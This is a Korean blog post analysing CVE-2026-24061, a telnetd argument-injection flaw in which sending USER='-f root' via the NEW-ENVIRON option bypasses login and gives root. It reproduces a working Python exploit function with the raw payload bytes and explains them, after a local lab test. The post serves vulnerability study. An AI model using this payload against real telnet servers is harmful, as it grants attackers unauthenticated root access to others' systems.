CVE-2026-24061 PoC
작성자 - 현우는 5살CVE-2026-24061PoC
목차
- CVE-2026-2406란?
- Root Cause
- PoC진행
- exploit 분석
- 요약
CVE-2026-2406란?

CVE-2026-24061은 telnetd가 클라이언트로부터 전달받은 환경 변수(USER)를 적절한 검증 없이 시스템 로그인 프로그램(/bin/login)으로 넘겨주면서 발생하는 인자 주입(Argument Injection) 취약점입니다. 이를 통해 공격자는 인증 절차를 완전히 건너뛰고 시스템의 루트 권한을 장악할 수 있습니다.

영향을 받는 소프트웨어는 GNU InetUtils telnetd (v1.9.4 ~ v2.7)로 확인할 수 있습니다.
Root Cause
Telnet의 환경 변수 전달 기능 (RFC 1572)
Telnet 프로토콜은 NEW-ENVIRON 옵션을 통해 클라이언트가 서버로 환경 변수를 전달할 수 있게 합니다. 정상적인 경우, 클라이언트는 USER라는 변수에 사용자 ID(예: admin)를 담아 보냅니다.

/bin/login의 -f 옵션
리눅스의 로그인 프로그램(/bin/login)은 -f (force) 옵션을 지원합니다.
- 명령어: login -f root
- 기능: "사용자가 이미 인증되었으므로, 비밀번호를 묻지 않고 즉시 root로 로그인시킨다."
발생하는 이유
취약한 버전의 telnetd는 클라이언트가 보낸 USER 변수 값을 필터링하지 않고 login 명령어의 인자로 붙여 실행합니다.
공격자가 USER 변수 값으로 -f root를 전송하면, 서버 내부에서는 다음과 같은 일이 벌어집니다.
execv("/bin/login", ["login", "-h", "192.168.0.1", "-p", "guest"])
execv("/bin/login", ["login", "-h", "192.168.0.1", "-p", "-f root"])
PoC 진행
해당 PoC는 https://github.com/cyberpoul/CVE-2026-24061-POC/tree/main 해당 링크를 참조해서 진행하였습니다.

진행하기 위해서 telnet서버를 로컬에 구축을 진행하였습니다.
해당 PoC를 실행시켰을때

성공적으로 진행된것을 확인할 수 있습니다.
exploit분석
def exploit(target, port):
print("[+] Connecting to " + str(target) + ":" + str(port) + "...")
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((target, port))
s.settimeout(None)
s.sendall(b'\xff\xfb\x27\xff\xfa\x27\x00\x00USER\x01-f root\xff\xf0')
t = threading.Thread(target=reader, args=(s,))
t.daemon = True
t.start()
import time
time.sleep(1)
if not t.is_alive():
print("[-] The target does not seem vulnerable")
return
while True:
cmd = sys.stdin.readline()
if not cmd: break
s.sendall(cmd.encode() if sys.version_info[0] >= 3 else cmd)
except (socket.timeout, ConnectionRefusedError, OSError):
print("[-] The target seems to be unreachable")
except KeyboardInterrupt:
s.close()
exploit를 진행할때 발생하는 서버 요청에 대해 처리하는 함수 구문입니다.
s.sendall(b'\xff\xfb\x27\xff\xfa\x27\x00\x00USER\x01-f root\xff\xf0') payload로 보이는 이 구문을 해당 서버에 전달을 진행합니다. 해당 Payload를 해석하자면
- xff\xfb\x27: 클라이언트가 환경 변수 옵션(NEW-ENVIRON)을 사용하겠다고 선언
- \xff\xfa\x27: 서버 요청사항 확인
- USER\x01-f root: USER라는 변수의 값(\x01은 VALUE 구분자)을 -f root로 설정.
이와 같은 방식으로 진행하여 공격자에게 -f root를 전달하여 root권한을 가져올 수 있습니다.
요약
"공격자가 Telnet 프로토콜의 환경 변수(USER)에 -f root 값을 주입하면, 서버측 telnetd가 이를 검증 없이 /bin/login 명령어의 인자로 전달하여 강제로 인증 과정을 건너뛰고 루트 권한을 획득하는 원리입니다."
'Security Tech' 카테고리의 다른 글
| 임베디드 & 펌웨어 (0) | 2026.01.31 |
|---|---|
| 헷갈리는 웹 애플리케이션 필수 용어 정리 (0) | 2026.01.31 |
| RDS·Aurora 서버리스 환경에서 달라지는 보안취약점 진단 기준 (AWS 공동책임모델) (0) | 2025.11.30 |
| Android와 iOS 아키텍처 비교: 모바일 플랫폼 구조와 특징 정리 (0) | 2025.11.30 |
| iOS에서 Frida 시작하기 (2탄) (0) | 2025.10.31 |